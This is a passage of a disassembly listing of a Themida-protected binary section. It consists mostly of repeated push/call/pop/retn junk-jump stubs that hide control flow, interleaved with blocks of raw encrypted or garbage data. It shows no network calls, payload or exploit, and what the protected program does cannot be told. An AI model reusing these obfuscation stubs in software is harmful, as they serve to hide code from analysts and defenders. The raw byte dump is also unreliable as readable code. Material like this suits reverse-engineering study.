[esp-4+arg_4], 15h inc ecx push ecx retn sub_588240 endp ; --------------------------------------------------------------------------- les ebp, [ecx-75h] sti xor si, 968Fh mov ebx, [ebp+612318Dh] push 0 push ebp call sub_58826A and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58826A proc near ; CODE XREF: Themida_:00588262p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_58826A endp ; --------------------------------------------------------------------------- dw 6B2Ah dd 48A4AF5Dh, 0A61DDF2h, 100E381h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 5BB5F5C3h dd 6E7EBC3Ch, 0B589F856h, 6121149h, 850FDB0Bh, 53h, 0C6EA8160h dd 610D509Ch, 68A0Fh, 0DF810000h, 1819D1BCh, 15AABD83h dd 0F000616h, 1B84h, 3EE9FC00h, 0E9000000h, 10h, 0AFE01D05h dd 261C9981h, 0CD3E3598h, 0CC1014AFh, 15AA85C7h, 10616h dd 0BE660000h, 16E9232Ch, 66000000h, 0C7ABF2BEh, 1615AA85h dd 6, 820F00h, 8B000000h, 8D9D8DF8h, 6A061231h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 397BC351h, 20717DD9h, 0F3DD979h, 583h, 0CE816600h, 23819DF2h dd 0FFFFFEFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58821E loc_58835C: ; CODE XREF: sub_58821E+11j mov bx, ds push 0 push ebx call sub_58836A and [ebx-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_58821E ; =============== S U B R O U T I N E ======================================= sub_58836A proc near ; CODE XREF: sub_58821E+144p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_58836A endp ; --------------------------------------------------------------------------- dw 7601h ; --------------------------------------------------------------------------- adc al, 0A9h pop ss jno loc_58838B mov edi, [ebp+61217A9h] loc_58838B: ; CODE XREF: Themida_:0058837Fj sub esi, [ebp+612266Dh] test bl, 4 jz loc_588413 mov [ebp+6122CCDh], eax call dword ptr [ebp+6120135h] push 0 push ebp call sub_5883B1 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5883B1 proc near ; CODE XREF: Themida_:005883A9p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5883B1 endp ; --------------------------------------------------------------------------- db 89h, 1Ch, 50h dd 0CE8h, 0D7ED8200h, 5EB11814h, 0B2A8B1Dh, 525060F8h dd 585A310Fh, 5E615950h, 6A240489h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0D35DC355h dd 5D8D89h, 8E90612h, 0C2000000h, 1502E528h db 44h, 53h, 0Eh ; --------------------------------------------------------------------------- loc_588413: ; CODE XREF: Themida_:00588394j jmp loc_5887F4 ; --------------------------------------------------------------------------- mov edi, [ebp+612069Dh] mov al, 0 push 0 push edx call sub_58842B and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58842B proc near ; CODE XREF: Themida_:00588423p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_58842B endp ; --------------------------------------------------------------------------- db 0FCh dd 76C6D0D4h, 857D45B3h, 6A70E6A0h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0B8EEC350h dd 409CB2F9h, 0BA71BEF6h, 71E4534Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 7DC35343h, 7E9h, 0E6A64400h dd 9342B20Fh, 89D8B60Fh, 12000D95h, 6BA06h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 8E009CC3h, 8D29B853h, 61230E1h, 0BD8BC38Bh, 61217A9h dd 8B04E8C1h, 121B15B5h, 0E2F76606h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 0A5C35646h, 5A22BF27h, 0D82B13EDh dd 241C8950h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 1EC35141h, 0BD8920BBh, 61231ADh, 1449B5FFh, 0B58B0612h dd 6121945h, 19CD95FFh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 1DFC18C3h, 81284C51h dd 9901EBEFh, 6E970h, 32BD0000h, 3552EAh, 52BE00B0h, 0E6400D8Fh dd 52006A70h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 10584Ch, 0CBFE05F2h, 71E4D53Ah, 0E9B52BF8h dd 3C06121Fh, 45830F61h, 66000002h, 21C4D681h, 6AD8B60Fh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0A17FC353h, 2101497Dh, 3840F9Dh, 0F000000h dd 6BAFFBFh, 8B000000h, 122D51BDh, 0FB8B6606h, 6AC38Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 16D7DFC3h, 68F0F7Fh, 8B000000h, 121331BDh, 6830F06h dd 31000000h, 1212BD9Dh, 99D8906h, 0C1061207h, 6A04E8h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 4D732DC3h, 0FCE5DA61h, 34ED8589h, 0F7810612h, 458423CAh dd 6AE2F766h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 0AD00C357h, 370BB745h, 0CDF5F7B0h dd 12F5BD8Bh, 0D82B0612h, 8E960h, 0D30B0000h, 8AB30DF4h dd 810F4DCEh, 6, 1F0D8D01h, 58610612h, 0C94FCE81h, 0D82B325Eh dd 13A880Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 29DE22C3h, 121F7995h, 7B906h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0BD03E8C3h, 6120969h, 17DB589h, 0C1830612h, 0C8A0F00h dd 0F000000h, 687h, 5D853100h, 3B061209h, 0CD860FD9h, 0F8000000h dd 6AD98C66h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 67EBC357h, 1FD771Fh, 0F6672F8Dh dd 840F04C1h, 62h, 23ADB58Bh, 95FF0612h, 6120135h, 85BD035Bh dd 2B061223h, 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 0ED0F271Ah, 9D5BB442h, 0BD898237h dd 61203F5h, 8343Dh, 17860F00h, 8B000000h, 1214F9BDh, 46E906h dd 2B600000h, 120E819Dh, 0E58A5606h, 0C08B6158h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 1EC35343h, 3C270157h dd 0FD7DADC8h, 6E856h, 0C0380000h, 5D704EC4h, 830Fh, 5F5F0000h ; --------------------------------------------------------------------------- loc_5887F4: ; CODE XREF: Themida_:loc_588413j mov eax, ebx mov ebx, eax push 0 push ebp call sub_588803 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_588803 proc near ; CODE XREF: Themida_:005887FBp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_588803 endp ; --------------------------------------------------------------------------- db 91h dd 7DF2A8D7h, 0D185C7DCh, 0FB061218h, 6A10E1BDh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 54FAC352h, 8B513194h, 758589F8h, 8B06122Dh, 359589C0h dd 8106121Bh, 121449BDh, 7D006h, 12850F00h, 53000000h dd 0EA56BF66h, 4985FF5Fh, 33061214h, 12087DBDh, 49B5FF06h dd 6A061214h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 0EEEC351h, 0FBB70FE3h, 10E8h dd 0F83FEE00h, 4B3878Bh, 6EC867CEh, 38179B8h, 6585297Ah dd 5E06120Eh, 19CD95FFh, 0BD310612h, 61211B5h, 0E890F88Bh dd 8, 0EE931DB6h, 0D87105C7h, 0BE9h, 56342000h, 0ED952AD5h dd 8665F7A0h, 8D0F5FF9h, 6, 23059589h, 6A0612h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0F9FEFC3h, 8C0FF9BFh, 6, 8EDBD23h, 0BA600612h, 0D74C06Ah dd 3800Fh, 0BF0F0000h, 880F61D2h, 20h, 6830Fh, 0BD890000h dd 6121E45h, 66616060h, 0F1AE7B9h, 85h, 0A5953300h, 6106121Dh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0B5C35040h dd 0D6160CF0h, 58DAA226h, 11E9h, 4B38A200h, 319271DFh dd 97D5B567h, 723893A7h, 16023BEh, 1201FDBDh, 0ED958906h dd 89061208h, 1223059Dh, 0B9BE6106h, 6669398Eh, 91D3E781h dd 0ACFB860h, 8A5674BAh, 61FC5AE7h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 55C35646h, 6642F4D2h, 4AA4DE81h dd 0FFF7F6E9h, 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 531DF64Ah, 0FA0BE71h dd 0BD8BF7B7h, 6120969h, 6AC18Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 8465ADC3h, 265FA83Ah dd 19BDB58Bh, 4EB0612h, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_588A47 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_588A47 proc near ; CODE XREF: Themida_:00588A3Fp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_588A47 endp ; --------------------------------------------------------------------------- test eax, 0FBBF0F5Ah xor di, 0FD5Dh jmp loc_588A74 ; --------------------------------------------------------------------------- dw 512Ah dd 0E0BA5623h, 0A4109C62h, 0D28DA20Bh ; --------------------------------------------------------------------------- loc_588A74: ; CODE XREF: Themida_:00588A61j pusha mov ah, dl jmp loc_588A8B ; --------------------------------------------------------------------------- sub edx, [edi-2] mov ch, 16h or eax, 54E0FCCDh ficomp dword ptr [edx+31h] aas loc_588A8B: ; CODE XREF: Themida_:00588A77j popa lea eax, [ebp+6122E01h] mov [ebp+6121B5Dh], ecx push eax mov [esp], eax push 0 push edi call sub_588AA7 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_588AA7 proc near ; CODE XREF: Themida_:00588A9Fp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_588AA7 endp ; --------------------------------------------------------------------------- align 4 adc edi, ecx dec ebx push cs db 36h inc ebx mov esi, 0C54BB40h push 0 push 0 push ecx call sub_588AD0 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_588AD0 proc near ; CODE XREF: Themida_:00588AC8p ; Themida_:00588AE0j arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_588AD0 endp ; --------------------------------------------------------------------------- ja short sub_588AD0 retn ; --------------------------------------------------------------------------- mov dword ptr [eax], 6A31C3h push 0 push ecx call sub_588AF4 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_588AF4 proc near ; CODE XREF: Themida_:00588AECp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_588AF4 endp ; --------------------------------------------------------------------------- dd 0DB6259A6h, 31727DE0h, 0ED858DF9h, 89061621h, 1206B98Dh dd 5C08306h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 0C2C35545h, 4895096h, 57006A24h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 8B98E179h dd 120DF1B5h, 0F0B70F06h, 13E8006Ah, 0A4000000h, 0EEC307A9h dd 6FB9D37h, 9C8B2FE1h, 0BD018DEBh, 0BD0B4B82h, 6122C11h dd 6A006A5Eh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 5222C357h, 0E72695BDh, 0F135E781h dd 95FF44D7h, 6120DB5h, 0FBC78166h, 896060A0h, 12035D9Dh dd 0B5896106h, 6122C2Dh, 29D8D61h, 6A0615AFh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 0CDFEC353h, 0F38BD3FFh, 67985FFh, 9600612h, 12076995h dd 0E0816606h, 0E961FEBEh, 776h, 0E8h, 0ED815D00h, 61621F7h dd 14518D01h, 0BD810612h, 6121449h, 7D0h, 1F9860Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 408E2FC3h, 8C19D8Bh, 81F80612h, 100E3h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0FA312F67h, 2C75A799h, 850FDB0Bh, 0FCh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 4DC35141h, 0A93F2569h dd 0F7CD76D8h, 35858968h, 8306121Ch, 162022BDh, 840F0006h dd 53h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h dd 19C35545h, 6937DA6Bh, 311167BFh, 0CFE973h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 3F7DA7C3h, 4CA9DBB1h, 0A1B58B60h, 0C706121Ch, 16202285h dd 106h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 8D46E6BFh, 0E9D8532Eh, 0Bh, 0FB522869h dd 0D9A5918Dh, 0E901B051h, 65h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0CCC35343h, 4C5AD703h, 5C60DDEBh dd 1F859D29h, 95010612h, 6122F0Dh, 202285C7h, 616h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 20EAB8C3h, 27882F8h, 75B58B2Ah, 8B06122Ch, 0C19D8DF2h dd 6A061208h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 903BC351h, 0BF66833Ch, 23810DF5h dd 0FFFFFEFFh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 0F3C35040h, 9101192Eh, 3D7FEAD1h, 60F28B66h, 0A463B866h dd 11E9h, 36A65400h, 0ECEFC6ABh, 0E6AE296Ch, 7A496487h dd 66610C92h, 0BF66DB8Ch, 0B70F86F0h, 4C3F6F6h, 60840Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 59FE23C3h, 0E9509D0Ah, 0Ah, 97C3BE12h, 0A9AD9C75h dd 95FFB17Eh, 6120135h, 1B699D89h, 60500612h, 2113BA66h dd 9E9h, 59754200h, 0F04BBB97h, 896127C2h, 8F0F2404h, 6 dd 9C4BDF81h, 0FBE94C1Fh, 0E9000002h, 0Fh, 90F8AE63h, 660FDA53h dd 0BE682420h, 0B03E84D9h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0E6DE181Bh dd 52006A70h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 9D89B79Ch, 6122691h, 6A71E4h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 6084DBC3h dd 575E6BBDh, 9D8B60Fh, 12225DB5h, 6BA06h, 8B660000h, 89C38BF2h dd 120DD9B5h, 4E8C106h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 5C35242h, 8BE2F766h, 120C7DBDh, 6AD82B06h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 0B2C5C350h, 667043F0h, 9304B8BFh, 0B5899350h dd 6120ED9h, 1449B5FFh, 0FE8B0612h, 19CD95FFh, 0BD8B0612h dd 6122EF5h, 6A00B0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 4EEBC7C3h, 0BF724BEDh, 8529AE6Ah dd 6122FD5h, 28B0Fh, 0FB8B0000h, 71E470E6h, 1BC99D31h dd 613C0612h, 1B4830Fh, 0F600000h, 0B866C3BFh, 0F6105BAh dd 0D9BFD8B6h, 0BA59BD37h, 6, 1F698589h, 0C38B0612h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0E9C35141h, 7049AAB8h dd 58EF45BFh, 4E8C171h, 1011BD89h, 0F7660612h, 2BFB8BE2h dd 55006AD8h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 3D3B5008h, 0E958F78Bh, 10h, 0C54061F3h dd 0FDB59FDEh, 0C8C66AC7h, 6DA8B807h, 880FD82Bh, 122h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 32C35242h dd 7B98DD3h, 83000000h, 6A00C1h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 0E51ECEC3h, 0BFEA91F8h dd 0FD93BD2h, 0D186h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 26C59896h, 0A4A3B117h dd 10CE81FCh, 66737A47h, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 0EFF150C3h, 3B74DA1h dd 0C1F63490h, 75840F04h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0E89BC351h dd 0BDB643CEh, 0E9BD8B91h, 0FF061203h, 12013595h, 74C7BE06h dd 2B5B10E3h, 35B531C3h, 3D06121Bh, 834h, 2E860Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 146348C3h, 3880FA4h, 0F000000h, 3E9FFB7h, 0F8000000h dd 0C38BC08Bh, 6AD88Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 0D31C14C3h, 42665177h, 0F1BF0F3Fh dd 318D85C7h, 0D9D30612h, 0BF0F779Dh, 6AC08BF8h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 0E526C356h, 4E622A70h, 0C0E39E06h, 23059589h, 0BD810612h dd 6121449h, 7D0h, 20850Fh, 0D6810000h, 4EC46725h, 88D0Fh dd 89500000h, 12203585h, 85FF5E06h, 6121449h, 850Fh, 0B5FF0000h dd 6121449h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 0F2C35343h, 0CE9D0h, 0FA1D0000h, 0DD0DA6FDh, 33555022h dd 95FFF39Ch, 61219CDh, 0D259531h, 66900612h, 669BECBEh dd 0BD8BF38Bh, 61218B1h, 2E318589h, 85890612h, 61201B1h dd 8B1BD89h, 0B58B0612h, 6121465h, 22D58D29h, 5E80612h dd 0EE000000h, 0F757016h, 14E8h, 0A281B600h, 3B28D89Bh dd 3F909495h, 7EE086AAh, 0F6C85FAAh, 63C78103h, 0E92F47A6h dd 14h, 8DFEEF88h, 1323FC56h, 6078D046h, 0D9B63761h, 53AB890Ch dd 8D895E5Fh, 61234BDh, 1D61BD8Bh, 95090612h, 6121B81h dd 10A5B523h, 0BD8B0612h, 6120E81h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 9FC35646h, 24C1087Ah, 6AECD13Bh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 1DA7C351h, 0D61C29DAh, 8D38449Ch, 8ED8D89h dd 0BE660612h, 0BD8B6E83h, 6122349h, 0BEFBB70Fh, 5F427B7Ch dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 70C35747h dd 0E9499974h, 0FFFFF88Ch, 34E9F08Bh, 0DE000000h, 411E4Bh dd 0Bh dup(0) dd 0E9000000h, 59Dh, 0B856C2B5h, 0CC6AD4C8h, 0E482E4DCh dd 0FA98FEF4h, 0FAD150Ah, 0E0D547A2h, 0F3EADA78h, 801F18Fh dd 201A0AA8h, 0C42524C2h, 0FF302B53h, 7E1F3275h, 3BE560Ch dd 0CB5FA134h, 0D3D0779Bh, 0E01C8689h, 2A90865Ch, 8F67D127h dd 7E343795h, 93832189h, 1E903B99h, 4491CED8h, 0A285EF87h dd 9194F2ECh, 0D27DE7DBh, 10A402FCh, 4AA6B3F7h, 0A285EF18h dd 0D8CEA445h, 85196F72h, 1A4E941Dh, 24C52F45h, 1D7B7544h dd 36968F7Fh, 0EFAFA898h, 3C9295F7h, 0F4EBA1A4h, 77368D90h dd 0D5A31597h, 13568A34h, 0D0C9A10Bh, 0FBEFC570h, 0B9A92791h dd 0B5DD4EBFh, 0C46FE9FDh, 8ADBDE76h, 6FE9FD5Dh, 15187C73h dd 0FE016B5Fh, 61E3C33Ch, 0E9FDC8F0h, 0F189D76Fh, 211BF192h dd 0D8B859C3h, 1E70AD04h, 0A819A2D8h, 6FE9F180h, 86EAE18Fh dd 634B84EEh, 0A2000000h, 68793130h, 68D25CA7h, 62D35C2Ch dd 6FE9073Ah, 0B189F341h, 55659B7h, 6FE907DBh, 1FF3D38Ah dd 0D81D7AC8h, 10Fh, 1B0FB500h, 4F8AEB1h, 7DABCC9Eh, 0D1C9F49Eh dd 1B7174DCh, 0D4CA8083h, 570E6B6Eh, 4AB4A877h, 68C2BCACh dd 0AEC2C68Bh, 197B7301h, 7D28C016h, 0E9E3E40Ch, 59DEB6Fh dd 1A0F1367h, 5F9AFB2h, 0C37C989Bh, 928B61E3h, 6FD92F32h dd 9C3AA297h, 0A954B2ACh, 0AFCFAE20h, 1F356A7Eh, 0E9EF648Ch dd 0B31D6B6Fh, 60221AD0h, 0AC020569h, 0BA7D1114h, 8487EFE4h dd 0EA12832Eh, 0F16FE9EFh, 0B89839A3h, 1E689DE4h, 89C4D8h dd 5C6A0000h, 0C02A9086h, 888BF3E8h, 0CD78DAD2h, 359FFDF7h dd 0E254F552h, 95A089E9h, 0B556C0ABh, 961106D5h, 0E97CFD25h dd 26BE0C6Fh, 0EB5CE588h, 6FE97DC3h, 7679D7D1h, 69D32120h dd 31349C91h, 1C1F857Bh, 0FBCFAF88h, 0D81DF6B4h, 62DBh dd 1A0F8100h, 7046AFB2h, 0BC121579h, 26CCAC4h, 4DBE312Ah dd 6FE90725h, 0E3E2423Bh, 5179EA95h, 586FE907h, 0B96F720Ah dd 0A55B5EC2h, 0EA474AAEh, 3EE45333h, 0E1D6A585h, 0F87DB79h dd 5DAEB11Bh, 6FE90730h, 0E8EB5348h, 0D2D53D32h, 6FDEBE75h dd 0A0996F10h, 5535D640h, 1D7B2A81h, 171D8h, 0F170000h dd 0FCB2B517h, 4AA1A402h, 5329AB8Bh, 0A1F7FA5Ah, 5675F37h dd 0F5EEC467h, 0BFAE2B95h, 0AF087924h, 0DE69FB2Ch, 0DDD78D90h dd 0F7F1E17Fh, 8F65EE99h, 0DE343795h, 0FB34234Bh, 93E49575h dd 0A590F293h, 0BEE58A6h, 0FBBB90BAh, 4EACA675h, 3A9E954Bh dd 1CFC7537h, 6E4E07ADh, 0A947A59Fh, 4B65BFB9h, 7CDBF4D0h dd 3DF3F68Eh, 0C6E2E543h, 0D8C0B123h, 0B99D8E77h, 0FFCEAE4Fh dd 0E9534705h, 52A5CD3Eh, 66B475FBh, 1B8D30CEh, 6C619A96h dd 77357004h, 0C219F660h, 9DE300Ch, 18Bh, 0E0636AAFh, 347BC435h dd 14C269FBh, 62B8BB1Bh, 0C0961FCAh, 95F62CCh, 0FB3C4E76h dd 0A50F5D75h, 5FD059C2h, 75FB3C37h, 409E9846h, 6C663EA8h dd 8680700Eh, 0F31B8C15h, 0FA75FB3Ch, 3CF119ACh, 0AAF875FBh dd 5F590F12h, 29E2FE01h, 22807A49h, 0F465EE77h, 75FB3CCCh dd 0CAF285D3h, 0D175FB3Ch, 0A69B1983h, 0DE2FB04Fh, 14766E44h dd 1851BB11h, 60h, 90865CBEh, 4443C02Ah, 8980AB5h, 614C3D00h dd 79028DF7h, 4346AEA3h, 81083EDh, 171017B6h, 0D49FBBCDh dd 4ABF288Ah, 1A69FD81h, 0B2B54DD1h, 177D7349h, 13123AADh dd 2720EFE8h, 0A0D6F67h, 63191CB4h, 0A805086Ch, 9EA211F1h dd 0D6D14525h, 1F279843h, 0EE901605h, 0B82302A0h, 0D1000000h dd 8A80636Ah, 33CB2124h, 1C021788h, 0D52369FBh, 9E9369D2h dd 73DD3336h, 4F47A19Bh, 4B7FC8Fh, 0BCAC4AE2h, 0F86164C2h dd 0E0D6FE6Fh, 37E575FBh, 80D6D943h, 0EC0B7EE8h, 7A75FBDFh dd 0C2E965D7h, 84DBD1A2h, 2C2F978Ch, 0EBCB6CD6h, 19C4221Ch dd 0DF71F90h, 140D75FBh, 0FD67B5B4h, 60E3EA7Fh, 35B344B5h dd 45CE7011h, 0ED36ACD4h, 0C05B36Fh, 0BB53A9ACh, 21247251h dd 1013716Bh, 0A61AFAB9h, 0FF711CA7h, 23193ECEh, 0E6AB29BDh dd 5AE36ED8h, 413860D1h, 0F9476FEDh, 6A8B1C8Fh, 54A26A03h dd 7BD9D3A9h, 65CDC278h, 0A740C62h, 0CE77E98Ch, 0DEAE7DE9h dd 6A336FD9h, 0C435E063h, 69FF3033h, 7801ACFAh, 0FF30DF07h dd 36A0EE75h, 45A39D53h, 0A7B04A7h, 75FF30E2h, 59319BE9h dd 95FE015Fh, 30739B0Ch, 8B8175FFh, 6ED82625h, 0F78C85FBh dd 5131E82Eh, 2C835DCFh, 67FB6358h, 208A2FD9h, 52F04E48h dd 0B0AA6862h, 390FBA52h, 9174DE42h, 7C7FE5DBh, 0B7866625h dd 0DEB45FBDh, 0D80071E6h, 0E7B107FAh, 0A8FE0199h, 0D6D0C03Eh dd 3D07578h, 7E000000h, 1C0F5995h, 0FDF7ADB0h, 0EDE69C9Fh dd 0DDD48A8Dh, 0CBC07679h, 0B5AA6063h, 9E944A4Dh, 877F3538h dd 786C2225h, 554D0B0Eh, 0C5815D54h, 4, 8704ED83h, 685C242Ch dd 2462h, 68240C89h, 138Dh, 68241C89h, 3089h, 0B8240489h dd 4A2B331Ch, 0EAF68A05h, 58C189BBh, 9068h, 24248900h dd 4240483h, 4EC835Bh, 0B8240489h, 8, 889D801h, 2434FF58h dd 4C4815Bh, 8B000000h, 8957240Ch, 4C781E7h, 81000000h dd 4C7h, 243C8700h, 50C3E95Ch, 0D65AFFFCh, 0DD795C72h dd 2EC5B876h, 0C5030616h, 0C053E0FFh, 0DA88198Ch, 22F31739h dd 0BE8C2925h, 88D574F4h, 9838FCh, 0BBBA6518h, 75527606h dd 8A651DA9h, 7B3329B3h, 5EAC03B7h, 348913F0h, 3F0B57D5h dd 0EB91586Bh, 773B6C30h, 0C18B41D7h, 2D7DBD89h, 4EB0612h dd 0 ; --------------------------------------------------------------------------- mov edi, [ebp+6120DF1h] push 0 push edi call sub_5899BD and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5899BD proc near ; CODE XREF: Themida_:005899B5p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5899BD endp ; --------------------------------------------------------------------------- db 6Dh, 28h, 0F6h dd 858D43A3h, 6122E01h, 15A747BFh, 5250905Bh, 310FF98Bh dd 3D35BF66h, 0BF50585Ah, 2EE7810h, 8C0F90h, 6A000000h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 1D8589D4h, 6A061204h, 0A1B58B00h, 8D061203h dd 16311E85h, 48A0F06h, 66000000h, 839D1ABEh, 6A05C0h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 84194BC3h, 6A98D89h, 0BF900612h, 2A57FCC4h, 7E950h dd 6CA50000h, 9904D410h, 6A90F9h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 2A458EC3h, 930C5B65h dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 0DDD959C3h, 1E8FEB96h, 6A2C6EF4h, 0F88B6600h dd 0DB595FFh, 0BD8B0612h, 612172Dh, 0AF029D8Dh, 6A0615h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 3D9C7C3h, 395BD89h, 0D3FF0612h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 87C35646h, 8291402Dh, 60B2A3D7h dd 89CE8B66h, 120DE18Dh, 0B5096106h, 61220EDh, 67985FFh dd 95890612h, 6121BB9h, 85FE9h, 0E800h, 815D0000h, 163128EDh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 89BBF923h, 1200158Dh, 49BD8106h, 0D0061214h dd 0F000007h, 19D86h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 29566702h, 122199B5h dd 9D8B5E06h, 6122049h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 3EC35242h, 2300E76Fh, 8978B837h, 1217F595h dd 0EE816606h, 0E38156F1h, 100h, 0E850006Ah, 